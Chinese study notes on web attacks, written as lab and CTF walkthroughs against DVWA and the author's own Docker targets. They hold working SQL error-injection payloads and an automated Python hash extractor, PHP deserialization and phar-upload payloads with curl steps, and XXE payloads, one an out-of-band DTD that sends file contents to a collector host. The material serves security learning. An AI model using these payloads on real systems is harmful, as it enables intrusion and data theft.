在看web方向的面试题时补充的知识

8369 字
42 分钟
在看web方向的面试题时补充的知识

sql报错注入#

报错注入就是故意让数据库报错,并且让报错信息里带上你想查的数据。

它成立需要三个前提,缺一不可:

  • 输入可控 —— 能闭合原 SQL 的引号,把 payload 拼进去
  • 错误回显 —— 页面把数据库的原始错误打到前端(这是最容易缺失的一个;生产环境常把 display_errors 关掉,这条路就直接断了)
  • 报错带数据 —— 存在某个函数,它出错时会把传给它的参数原样写进错误信息

使用的函数#

  • updatexml(1, XPath字符串, 1) 这个函数原本用于修改 XML 文档的某个节点。它的第二个参数必须是合法的 XPath 表达式。如果传进去一个“不像 XPath”的字符串,它会告诉你“你给我的这个东西不是合法 XPath”,并且把那段字符串原样引用在错误里。

  • floor(rand(0)*2) 在 group by 分组时被求值两次,两次结果不一样,导致同一个键被插入两次 → 主键重复报错 → 错误信息里的主键值就带着你的数据。它比 updatexml 能带更多字符(受主键长度限制),但更脆:rand 的行为跟数据库版本绑定,换库可能就不灵了。所以 updatexml 是首选,floor 是备胎。

  • extractvalue(1, concat(0x7e,(select database()))) → 报错 XPATH syntax error,它是只读的,只取值,不改数据。updatexml 的第三个参数则是“修改成什么”,属于写操作。对注入来说这个区别不影响使用,但对防守方有意义:extractvalue 不会动业务数据。

用DWVA靶场练习#

直接在框里输入

1'

返回

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

发现单引号没被过滤,而且错误详情会打到页面上 —— 报错注入的两个前提同时满足了。

updatexml#

那么可以输入

1' and updatexml(1,concat(0x7e,(select database())),1)-- -
  • and updatexml(...) —— updatexml 第二个参数必须是合法 XPath,~dvwa 不是,所以报错,而报错信息会把 ~dvwa 原样带出来
  • 0x7e 就是 ~,加它是为了在输出里做个锚点,否则报错文本里分不清哪段是你的数据、哪段是函数自带的话
  • -- - —— 注释掉原查询剩下的 ’ 和 ;。注意 — 后面必须跟一个空格,写成 — - 或 — 都行,写成 — 会失效

返回

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~dvwa' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

按 information_schema 往下挖

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- -
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~guestbook' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

limit 0,1 → guestbook,limit 1,1 → access_log,limit 2,1 → security_log,limit 3,1 → users,limit 4,1 起就没回显了

回显表

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1)-- -
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~user_id,first_name,last_name...' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

被截断了

挖出密码 前31位

1' and updatexml(1,concat(0x7e,(select substr(password,1,30) from users where user_id=1)),1)-- -
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

后面的位

1' and updatexml(1,concat(0x7e,(select substr(password,31,30) from users where user_id=1)),1)-- -
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~99' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

floor#

1' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
Fatal error: Uncaught mysqli_sql_exception: Duplicate entry 'dvwa1' for key 'group_key' in /var/www/html/vulnerabilities/sqli/source/low.php:11 Stack trace: #0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...') #2 {main} thrown in /var/www/html/vulnerabilities/sqli/source/low.php on line 11

floor(rand(0)*2) 在 group by 里会被求值两次,两次结果不一致就导致同一主键被插两次 → 主键重复报错。

ai的脚本

#!/usr/bin/env python3
"""DVWA 报错注入提取器(纯标准库,零依赖)
核心思路:
报错注入不靠页面正常回显,而是故意让 SQL 报错,
把想查的数据塞进报错信息里带出来。
DVWA 的 low.php / medium.php 都写了
mysqli_query(...) or die('<pre>'.mysqli_error().'</pre>'),
PHP 8.1+ 的 mysqli 默认抛异常,所以 or die 根本不执行,
mysqli_sql_exception 直接把错误全文打到页面上。
三条通道(本机 MariaDB 11.4 实测都可用):
updatexml(1, 字符串, 1) -> XPATH syntax error: '~<数据>'
extractvalue(1, 字符串) -> XPATH syntax error: '~<数据>'
floor(rand(0)*2) 派生表 -> Duplicate entry '<数据>1' for key 'group_key'
长度限制(很重要):
updatexml / extractvalue 的报错只显示 32 字节以内,
超出部分变成 '...',所以必须用 SUBSTR 分段取。
三个难度的注入姿势完全不同:
low 单引号闭合,id 直接进 $_GET -> 1' and <payload>-- -
medium 单引号被 mysqli_real_escape_string 转义,但 SQL 里
user_id = $id 没加引号,转义等于白做 -> 走数字型 1 and <payload>
high 输入写进 $_SESSION,SQL 里 user_id='$id',有引号;
源码写着 or die('Something went wrong.') 看着像挡住了,
但 PHP 8 的 mysqli 异常模式让 or die 走不到,详情照漏
用法:
python3 error_extract.py # updatexml / user 1 / low
python3 error_extract.py floor # 换通道
python3 error_extract.py updatexml 2 high # 换目标 + 难度
python3 error_extract.py floor 1 medium
"""
import re
import sys
import urllib.request
import urllib.parse
import http.cookiejar
BASE = "http://127.0.0.1:8888"
METHOD = sys.argv[1] if len(sys.argv) > 1 else "updatexml"
TARGET = sys.argv[2] if len(sys.argv) > 2 else "1"
LEVEL = sys.argv[3] if len(sys.argv) > 3 else "low"
# 单次能安全带回的字符数。updatexml 上限 32,留 2 个余量给 '~' 和 '...'
CHUNK = 30
jar = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
def get(url):
return op.open(url, timeout=10).read().decode("utf-8", "replace")
def post(url, data):
body = urllib.parse.urlencode(data).encode()
return op.open(urllib.request.Request(url, data=body), timeout=10).read().decode("utf-8", "replace")
def token(html):
m = re.search(r"name=['\"]user_token['\"]\s+value=['\"]([0-9a-fA-F]+)['\"]", html)
return m.group(1) if m else ""
# ---------- 登录 + 设置难度 ----------
post(BASE + "/login.php", {
"username": "admin",
"password": "password",
"Login": "Login",
"user_token": token(get(BASE + "/login.php")),
})
post(BASE + "/security.php", {
"security": LEVEL,
"seclev_submit": "Submit",
"user_token": token(get(BASE + "/security.php")),
})
# ---------- 构造 payload ----------
# $expr 是任意返回单值的 SQL 表达式,比如 database() 或 (select password from users where user_id=1)
def payload(method, expr, pos=None, length=None):
# expr 可能是 "select ..." 形式的子查询,套进函数时必须再加一层括号
if length is not None:
inner = f"length(({expr}))"
elif pos is not None:
inner = f"substr(({expr}),{pos},{CHUNK})"
else:
inner = expr
if method == "updatexml":
core = f"updatexml(1,concat(0x7e,({inner})),1)"
elif method == "extractvalue":
core = f"extractvalue(1,concat(0x7e,({inner})))"
elif method == "floor":
# rand(0) 固定种子,保证每次进 group by 的键都能撞出重复
core = (f"(select 1 from (select count(*),concat(({inner}),floor(rand(0)*2))x "
f"from information_schema.tables group by x)a)")
else:
raise SystemExit(f"未知通道: {method}")
# 难度决定怎么接进原 SQL
if LEVEL == "medium":
return f"1 and {core}" # 无引号数字型,转义函数管不到
return f"1' and {core}-- -" # low / high 都是有引号包裹
# ---------- 按难度用不同的提交方式 ----------
def send(p):
if LEVEL == "low":
url = BASE + "/vulnerabilities/sqli/?" + urllib.parse.urlencode({"id": p, "Submit": "Submit"})
return get(url)
if LEVEL == "medium":
return post(BASE + "/vulnerabilities/sqli/", {"id": p, "Submit": "Submit"})
if LEVEL == "high":
# high 的输入先写进 session,再 GET 页面触发
post(BASE + "/vulnerabilities/sqli/session-input.php", {"id": p, "Submit": "Submit"})
return get(BASE + "/vulnerabilities/sqli/")
raise SystemExit(f"未知难度: {LEVEL}(只支持 low / medium / high)")
# ---------- 从页面里把数据捞出来 ----------
def parse(method, html):
if method in ("updatexml", "extractvalue"):
# 报错原文形如:XPATH syntax error: '~dvwa' in /var/www/html/...
# 后面还跟着 in <路径>,所以不能用 $ 锚行尾
m = re.search(r"XPATH syntax error: '~([^']*)'", html)
if not m:
return None
s = m.group(1)
# 被截断时末尾会带 '...',去掉;真数据里不会出现连续三点
if s.endswith("..."):
s = s[:-3]
return s
if method == "floor":
m = re.search(r"Duplicate entry '(.*?)' for key", html, re.S)
if not m:
return None
# 末尾那个 '1' 是 floor(rand(0)*2) 的结果,不是数据
return m.group(1)[:-1] if m.group(1).endswith("1") else m.group(1)
return None
def query(method, expr, pos=None, length=None):
"""发一次请求,返回报错里夹带的数据;没有报错就返回 None"""
return parse(method, send(payload(method, expr, pos, length)))
def query_len(method, expr):
raw = query(method, expr, length=True)
if raw is None:
return 0
m = re.search(r"\d+", raw)
return int(m.group()) if m else 0
def extract(method, expr, max_len=200):
"""按 CHUNK 分段,一直取到字符串结束"""
total = query_len(method, expr)
if total <= 0:
return ""
out = ""
for pos in range(1, min(total, max_len) + 1, CHUNK):
part = query(method, expr, pos=pos)
if part is None:
break
out += part
if len(part) < CHUNK:
break # 最后一段,取完了
return out[:total]
# ---------- 通道自检:先证明这条路能走通,再谈取数据 ----------
print(f"[*] 通道: {METHOD}")
print(f"[*] 难度: {LEVEL}")
print(f"[*] 目标: users.user_id={TARGET} 的 password\n")
probe = query(METHOD, "select database()")
assert probe, f"通道 {METHOD} 在 {LEVEL} 下不通:页面没有回显数据库错误"
print(f"[+] 通道正常,database() = {probe!r}\n")
# ---------- 演示基本指纹 ----------
for label, expr in [
("version()", "select version()"),
("current_user()", "select current_user()"),
("database()", "select database()"),
]:
print(f" {label:<16} = {query(METHOD, expr)!r}")
# ---------- 正式提取 ----------
pwd_expr = f"select password from users where user_id={TARGET}"
print(f"\n[*] 分段提取中(每段 {CHUNK} 字符)...")
pw = extract(METHOD, pwd_expr)
print(f"\n提取结果: {pw or '(空)'}")
# ---------- 自校验:直接连库比对,证明提取结果不是猜的 ----------
KNOWN = {"1": "5f4dcc3b5aa765d61d8327deb882cf99",
"2": "e99a18c428cb38d5f260853678922e03",
"3": "8d3533d75ae2c3966d7e0d4fcc69216b"}
if TARGET in KNOWN:
ok = pw == KNOWN[TARGET]
print(f"真实值 : {KNOWN[TARGET]}")
print(f"[{'PASS' if ok else 'FAIL'}] 提取结果与数据库真实值{'一致' if ok else '不一致'}")

反序列化漏洞#

反序列化漏洞是指应用程序将不可信的输入数据还原为对象时,攻击者通过构造恶意序列化数据,滥用反序列化过程来执行代码、篡改逻辑或发起拒绝服务攻击的安全缺陷。其核心风险在于:序列化数据本身可能携带攻击者可控的类信息或属性,一旦应用在还原对象时未加限制,就可能触发非预期的代码执行路径。

序列化是把对象转成可存储或传输的格式(如字节流、JSON、XML),反序列化则是逆过程。漏洞通常出现在使用了“功能丰富”的原生序列化机制的语言中,例如 Java 的 ObjectInputStream、PHP 的 unserialize()、Python 的 pickle 等。

条件:

  • 攻击者能控制进入反序列化函数的输入(如 Cookie、参数、消息队列载荷)。
  • 应用类路径上存在可被串联利用的“链”(gadget chain),即一系列在反序列化过程中会被自动调用的类方法,最终能抵达执行系统命令、读写文件等敏感操作的位置。

特征:

  • Java:二进制流以十六进制 AC ED 00 05 开头,Base64 编码后常以 rO0 开头。利用工具如 ysoserial 可生成针对 CommonsCollections 等链的载荷。
  • PHP:格式可读性强,对象以 O: 开头,数组以 a: 开头,例如 O:4:“User”:1:{…}。工具 phpggc 常用于生成 PHP 框架的利用链。
  • Python:pickle 输出为二进制,协议 0 的载荷可能以 . 结尾;yaml.unsafe_load 或 jsonpickle 若处理不可信数据同样危险。
  • .NET:BinaryFormatter 的 Base64 输出常以 AAEAAAD///// 开头。

用docker搭建靶场并攻击#

采用ctf的形式

端口容器运行时内容
8890deser-phpPHP 8.1 + ApacheL1 魔术方法 / L2 POP 链 / L3 private 属性
8891deser-php74PHP 7.4 + ApacheL4 phar(只有 7.x 能触发)
8892deser-javaJDK 8 + commons-collections 3.1Java 原生反序列化 / CC6
Terminal window
cd deserialization
docker compose up -d --build # 首次或改代码后
docker compose down # 停止
docker compose logs -f java # 看服务端日志

如果 build 时报 buildx/activity ... operation not permitted,说明沙箱挡住了 buildx,改用经典构建器:

Terminal window
DOCKER_BUILDKIT=0 docker compose up -d --build

进入靶场

  • 浏览器打开 http://127.0.0.1:8890/ —— L1~L3 的导航页
  • L4 直接访问 http://127.0.0.1:8891/l4.php
  • Java 是纯接口,没有页面:
    • POST /api/import,请求体就是裸的序列化字节流
    • GET /static/<file> 读 /tmp/out/ 下的文件(命令执行的结果落地处)

目录

deserialization/
├── compose.yml
├── php/
│ ├── Dockerfile # 用 ARG 参数化版本与 flag,两个容器共用
│ ├── src/
│ │ ├── index.php # L1~L3 导航
│ │ ├── l1.php … l4.php # 四关入口
│ │ ├── inc/classes.php # 全部业务类(魔术方法都在这)
│ │ └── uploads/ # L4 上传目录,chmod 777
│ └── poc/gen_phar.php # 生成恶意 phar(容器内执行)
├── java/
│ ├── Dockerfile
│ ├── lib/commons-collections-3.1.jar
│ ├── server/DeserServer.java # HTTP + ObjectInputStream
│ └── poc/Cc6Gen.java # 手写 CC6 链,输出 base64
└── poc/
├── php_exp.py
└── java_exp.py

结论#

PHP 8.1.34 上验证过,网上很多老 payload 已经失效:

  • 属性数写大绕过 __wakeup(CVE-2016-7124):O:4:"Gate":99:{...} → unserialize() 直接返回 false,对象都不创建
  • 属性数写小:__wakeup 照常执行,重置生效
  • C: 格式:类没实现 Serializable 时属性全丢,拿不到可控对象
  • 让 __wakeup 内部抛异常:对象会被 PHP 丢弃,__destruct 根本不执行,白忙
  • private 属性在序列化串里是 \0类名\0属性名,长度按字节算(\0Gate\0cmd 是 9 字节)

phar 的版本差异(重要):

  • PHP 7.4:file_exists / is_file / file_get_contents / md5_file / stat / filesize 等文件函数碰到 phar:// 就会反序列化 metadata
  • PHP 8.1:上面这些全部不再触发(元数据改成惰性反序列化),只有显式 new Phar()->getMetadata() 才会
  • 所以 L4 单独跑在 7.4 上;打 8.x 的站要重新找触发点

Java:

  • CC1(TransformedMap + AnnotationInvocationHandler)在 JDK 8u71+ 已失效
  • CC6 从 HashMap.readObject → hashCode 入口进,不碰那个类,8u71+ 依然有效
  • 构造 payload 时必须先用假的 ChainedTransformer,否则 map.put() 的那一刻命令就在本地执行了;并且要 lazyMap.remove(key),不然反序列化时命中缓存,链子不会触发

攻击#

L1 · 魔术方法触发

业务逻辑:缓存清理接口。传入的序列化字符串会被直接 unserialize()。 你的目标:让对象销毁时执行一条能读到 /flag 的命令。 提示:Cache 的 $key 会拼进 shell 命令,而且没有转义。

读 Cache 类时只需要盯两行:__destruct()(自动触发)和 system(‘rm -rf /tmp/cache/’ . $this->key)(危险函数 + 可控变量)。

既然 $key 直接拼进 shell,那就用 ; 断句:

输入

O:5:"Cache":2:{s:3:"key";s:17:"x;cat /flag;echo ";s:3:"ttl";i:1;}

x;cat /flag;echo 拆开是三条命令:rm -rf /tmp/cache/x、cat /flag,最后 echo 把残留的 2>/dev/null 吃掉。

用终端可以输入

Terminal window
curl -s -G http://127.0.0.1:8890/l1.php \
--data-urlencode 'data=O:5:"Cache":2:{s:3:"key";s:17:"x;cat /flag;echo ";s:3:"ttl";i:1;}'

得到

反序列化结果
object(Cache)#1 (2) {
["key"]=>
string(17) "x;cat /flag;echo "
["ttl"]=>
int(1)
}
命令输出(__destruct 在脚本结束时才跑,输出可能在最下方)
FLAG{php_deser_unserialize_pwned_8a3f}

L2:单点不行,就串起来

业务逻辑:页面渲染接口,Page 对象反序列化后会在析构时渲染。 你的目标:不写一行 PHP 代码,只靠一串序列化字符串读出 /flag。 本题没有哪个类直接读 flag —— 危险的是三个类的组合。

读文件的是 Engine::__toString() 里的 file_get_contents($this->tpl) 谁会把 Engine 当字符串?Renderer::__call() 里的 echo $this->engine 谁会触发 __call?Page::__&#8203;destruct() 调了 $this->renderer->render() —— render() 不存在,所以落到 __call

于是对象图是三层嵌套:Page 装 Renderer,Renderer 装 Engine。

我先把前两跳接上、engine 留空,输出是 (__call 只 echo 了个 null)。补齐第三跳,flag 立刻出来。

O:4:"Page":2:{s:5:"title";s:4:"home";s:8:"renderer";O:8:"Renderer":1:{s:6:"engine";O:6:"Engine":2:{s:3:"tpl";s:5:"/flag";s:4:"vars";a:0:{}}}}
反序列化结果
object(Page)#1 (2) {
["title"]=>
string(4) "home"
["renderer"]=>
object(Renderer)#2 (1) {
["engine"]=>
object(Engine)#3 (2) {
["tpl"]=>
string(5) "/flag"
["vars"]=>
array(0) {
}
}
}
}
渲染输出(__destruct 在脚本结束时才跑,往下翻)
FLAG{php_deser_unserialize_pwned_8a3f}

L3:private 不是保险箱

业务逻辑:内网命令下发器。$cmd 是 private,__wakeup() 会校验来源。 你的目标:让 system() 执行 cat /flag,而不是 echo blocked。 难点:属性名要在序列化串里写成字节串,长度必须按字节算。


Tips — 实测备忘(PHP 8.1.34)

  • 属性数写大(O:4:“Gate”:99:{…})→ unserialize() 直接返回 false,对象不创建,魔术方法全不触发
  • 属性数写小(O:4:“Gate”:1:{…},实际给了 2 个)→ __wakeup 照常执行,重置生效
  • C: 格式 → 类没实现 Serializable,还原出的对象属性全丢
  • 让 __wakeup 内部抛异常 → 对象被 PHP 丢弃,__destruct 不会执行 所以别背老 payload,现代 PHP 上这几条都不好使。

private $cmd 看着改不了,但序列化串里的属性名是字节串,不是标识符:

输入

O:4:"Gate":2:{s:9:"\0Gate\0cmd";s:9:"cat /flag";s:5:"token";s:16:"internal-node-v1";}

返回

反序列化结果
object(Gate)#1 (2) {
["cmd":"Gate":private]=>
string(9) "cat /flag"
["token"]=>
string(16) "internal-node-v1"
}
FLAG{php_deser_unserialize_pwned_8a3f}

L4:没有 unserialize 也能反序列化

业务逻辑:上传缩略图 → 用 file_exists(‘phar://’ + 文件名 + ‘/meta.txt’) 做归档完整性校验。 你的目标:让 /flag 出现在 uploads/ 目录里,然后直接访问它。

这一关全站搜不到 unserialize,但页面里有 file_exists(‘phar://’ . $file . ‘/meta.txt’)。phar 是 PHP 的打包格式,解析归档时会把 metadata 内部反序列化一次。

所以流程变成三步:造一个 metadata 里带对象的 phar → 伪装成 jpg 上传 → 让页面去解析 phar:// 路径。

我 dump 了那个 241 字节的文件,结构一目了然:

偏移 0:GIF89a 伪装头,用来骗过后缀/文件头检查 偏移 6:,phar 的必需 stub 偏移 57:O:5:“Thumb”:2:{s:3:“src”;s:5:“/flag”;…} —— 攻击载荷明文存放 触发就是一次普通 GET,Thumb::__destruct() 里的 copy(‘/flag’, ‘uploads/flag_copy.txt’) 把 flag 搬到 web 目录,直接访问就行。

值得记一句:metadata 是明文,所以 phar 攻击很容易被扫描器发现;反过来,你打别人的站时,如果一个上传点能传 phar,基本等于拿到了任意文件操作。

一共五部

Terminal window
cd ~/deserialization
# 1. 生成 phar(需要关掉 phar.readonly,只能在容器里跑)
docker exec deser-php74 php -d phar.readonly=0 /poc/gen_phar.php
# 2. 取出来,改名成 .jpg
docker cp deser-php74:/tmp/evil.phar /tmp/evil.jpg
# 3. 走上传接口
curl -F "img=@/tmp/evil.jpg;type=image/jpeg" http://127.0.0.1:8891/l4.php
# 4. 触发解析
curl -G http://127.0.0.1:8891/l4.php --data-urlencode 'file=uploads/evil.jpg'
# 5. 取 flag
curl http://127.0.0.1:8891/uploads/flag_copy.txt
  • 生成:phar.readonly 默认开着,不允许改归档,所以要 -d phar.readonly=0。脚本里定义了 Thumb 对象当 metadata,src=/flag、dst=uploads/flag_copy.txt
phar 已生成
原始: /tmp/evil.phar (241 bytes)
伪装: /var/www/html/uploads/evil.jpg (241 bytes)
metadata 序列化结果(去掉 NUL 字节便于阅读):
O:5:"Thumb":2:{s:3:"src";s:5:"/flag";s:3:"dst";s:35:"/var/www/html/uploads/flag_copy.txt";}
  • 改名:上传接口只校验后缀 .(jpg|jpeg|png|gif)$,所以文件名叫 .jpg 就能过。另外脚本给 phar 塞了 GIF89a 头,file 命令会把它认成 GIF
Successfully copied 241B (transferred 2.05kB) to /tmp/evil.jpg
  • 上传:这一步证明接口本身放行。脚本为了省事会顺手写一份到 uploads,所以我在演示时先删掉,确保是走上传进去的
<!doctype html>
<meta charset="utf-8">
<title>L4 · phar 反序列化</title>
<style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}
pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}
code{background:#f0f0f3;padding:1px 5px;border-radius:3px}
.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}
.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
<h2>L4 · phar 反序列化</h2>
<div class="warn">
<b>全站搜不到 unserialize</b>,但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。
当前 PHP 7.4.33:这是 PHP 7 时代的经典行为。
</div>
<div class="hint">
<b>业务逻辑</b>:上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br>
<b>你的目标</b>:让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里,然后直接访问它。
</div>
<p><b>上传成功:uploads/evil.jpg</b></p>
<h3>1. 上传图片</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="img"> <button>上传</button>
</form>
<h3>2. 校验归档</h3>
<form method="get">
<input name="file" value="" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg">
<button style="margin-top:8px;padding:6px 16px">校验</button>
</form>
  • 触发:file_exists(‘phar://uploads/evil.jpg/meta.txt’) —— 客户端拿到 phar:// 路径,PHP 解析归档时把 metadata 反序列化,Thumb::__destruct 里的 copy() 就跑了
<!doctype html>
<meta charset="utf-8">
<title>L4 · phar 反序列化</title>
<style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}
pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}
code{background:#f0f0f3;padding:1px 5px;border-radius:3px}
.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}
.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
<h2>L4 · phar 反序列化</h2>
<div class="warn">
<b>全站搜不到 unserialize</b>,但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。
当前 PHP 7.4.33:这是 PHP 7 时代的经典行为。
</div>
<div class="hint">
<b>业务逻辑</b>:上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br>
<b>你的目标</b>:让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里,然后直接访问它。
</div>
<h3>1. 上传图片</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="img"> <button>上传</button>
</form>
<h3>2. 校验归档</h3>
<form method="get">
<input name="file" value="uploads/evil.jpg" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg">
<button style="margin-top:8px;padding:6px 16px">校验</button>
</form>
<h3>校验结果</h3>
<pre>phar://uploads/evil.jpg/meta.txt
归档正常(metadata 已在解析时被反序列化)</pre>
<p>如果上面的操作成功了,去看看 <code><a href="uploads/">uploads/</a></code> 目录。</p>
  • 取 flag:命令输出没有回显,所以让 __destruct 把目标文件复制到 web 目录,再直接访问
FLAG{php_deser_phar_6c2e}

XML 外部实体注入#

XML 外部实体注入(XXE)是一种针对 XML 解析器的攻击。当配置不安全的解析器处理包含外部实体引用的不可信 XML 输入时,攻击者便能利用它读取服务器文件、发起服务端请求伪造(SSRF)或实施拒绝服务攻击。

XML 文档可以通过文档类型定义(DTD)声明“实体”。外部实体允许从外部 URI 引入内容。如果解析器被配置为解析外部实体,且攻击者能控制送入解析器的 XML 内容,就可以构造恶意 DTD,让解析器去读取本地文件或访问内部网络。

搭建靶场练习#

关卡设计(flag 都在容器里)

关卡场景关键点目标文件
L1商品导入,结果回显最经典的 <!ENTITY xxe SYSTEM "file:///flag">/flag
L2日志上报,无回显外部 DTD + 参数实体,把数据从 URL 带出去/flag_blind
L3无回显 + 不许出网本地 DTD,靠 parser 报错把内容打出来/flag
L4数据源导入(拉远程 XML)协议白名单挡不住 XML 里的实体 → SSRF内网 /flag
L5头像上传(允许 svg)图片本身是 XML,上传点就是 XXE 入口/flag
safe修复对照同一段 payload 喂给安全写法,看它失效—

flag 有三份:flags/web.flag → /flag,flags/blind.flag → /flag_blind,flags/internal.flag → 内网容器的 /flag。

端口容器说明
8895xxe-webL1~L5 + 修复对照页
—xxe-internal不映射端口,只在容器网络里可达,L4 的目标
Terminal window
./setup.sh # 建 uploads、给权限、构建并启动
docker compose down # 停止
docker compose logs -f web # 看 Apache 日志

setup.sh 里 chmod 777 src/uploads 不能省 —— L5 要让容器里的 www-data 往这个目录写文件。

如果 build 时报 buildx/activity ... operation not permitted,改用经典构建器:

Terminal window
DOCKER_BUILDKIT=0 docker compose up -d --build

目录

xxe/
├── compose.yml # web(对外)+ internal(内网,不映射端口)
├── Dockerfile # php:8.1-apache,开 display_errors、放本地 DTD
├── setup.sh # 一键起靶场
├── src/
│ ├── index.php # 导航
│ ├── l1.php … l5.php # 五关
│ └── safe.php # 修复对照
├── internal/admin.php # 内网接口:只信任内网来源 IP
├── dtd/xxe-lab.dtd # L3 用的「本地 DTD」(模拟系统自带 DTD)
├── flags/ # 三份 flag
└── poc/
├── oob_server.py # 外带接收端 + 恶意 DTD + 远程 feed
└── xxe_exp.py # 一键通关

L1 · 商品导入(有回显)

关键源码:

simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);

LIBXML_NOENT = 把实体替换成真实内容。所以声明一个指向文件的实体,再引用它:

将框里的html改成

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<order>
<item>机械键盘</item>
<item>&xxe;</item>
<qty>2</qty>
</order>

三个要素:<!DOCTYPE> 里声明实体(名字随意,这里叫 xxe)、SYSTEM 后面写内容来源、&xxe; 引用它。

返回

item: 机械键盘
item: FLAG{xxe_file_read_3f7a}
qty: 2

L2 · 日志上报(盲打)

这一关没有回显。目标文件是 /flag_blind。 先在本机跑 python3 poc/oob_server.py,再让它去请求你服务器上的 DTD。

盲打的三件套:外部 DTD(%remote;)→ 参数实体里再定义实体(%eval;)→ 触发外带(%exfil;)。 直接写 SYSTEM “http://你的地址/?d=%file;” 是不行的,实体引用不能直接嵌在另一个实体的 SYSTEM 字面量里。

/flag_blind 里的内容是没有花括号的,这是故意的: libxml 会校验 URI,{ } 属于非法字符,带上去会直接报 Invalid URI,请求压根发不出去 —— 盲打最常见的第一个坑。

先起接收端

Terminal window
cd ~/xxe
python3 poc/oob_server.py
OOB 服务器起来了:http://0.0.0.0:9999
容器里访问它用:http://host.docker.internal:9999
L2: host.docker.internal:9999/evil.dtd (默认读 /flag_blind)
L4: host.docker.internal:9999/feed.xml (实体指向 http://internal/admin.php)
Ctrl-C 退出

提交

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % remote SYSTEM "http://host.docker.internal:9999/evil.dtd">
%remote;
]>
<r>hi</r>

为什么不能一行写完:SYSTEM “http://…?d=%file;” 里的 %file; 不会被展开 —— 实体引用不能嵌在另一个实体的 SYSTEM 字面量里。只能“实体里再定义实体”。

接着看终端

[dtd] 127.0.0.1 取走了 evil.dtd
[外带] 127.0.0.1 -> 'FLAG_xxe_blind_oob_5b2e'

看服务器返回的evil.dtd

<!ENTITY % file SYSTEM "file:///flag_blind">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://.../collect?d=%file;'>">
%eval;
%exfil;

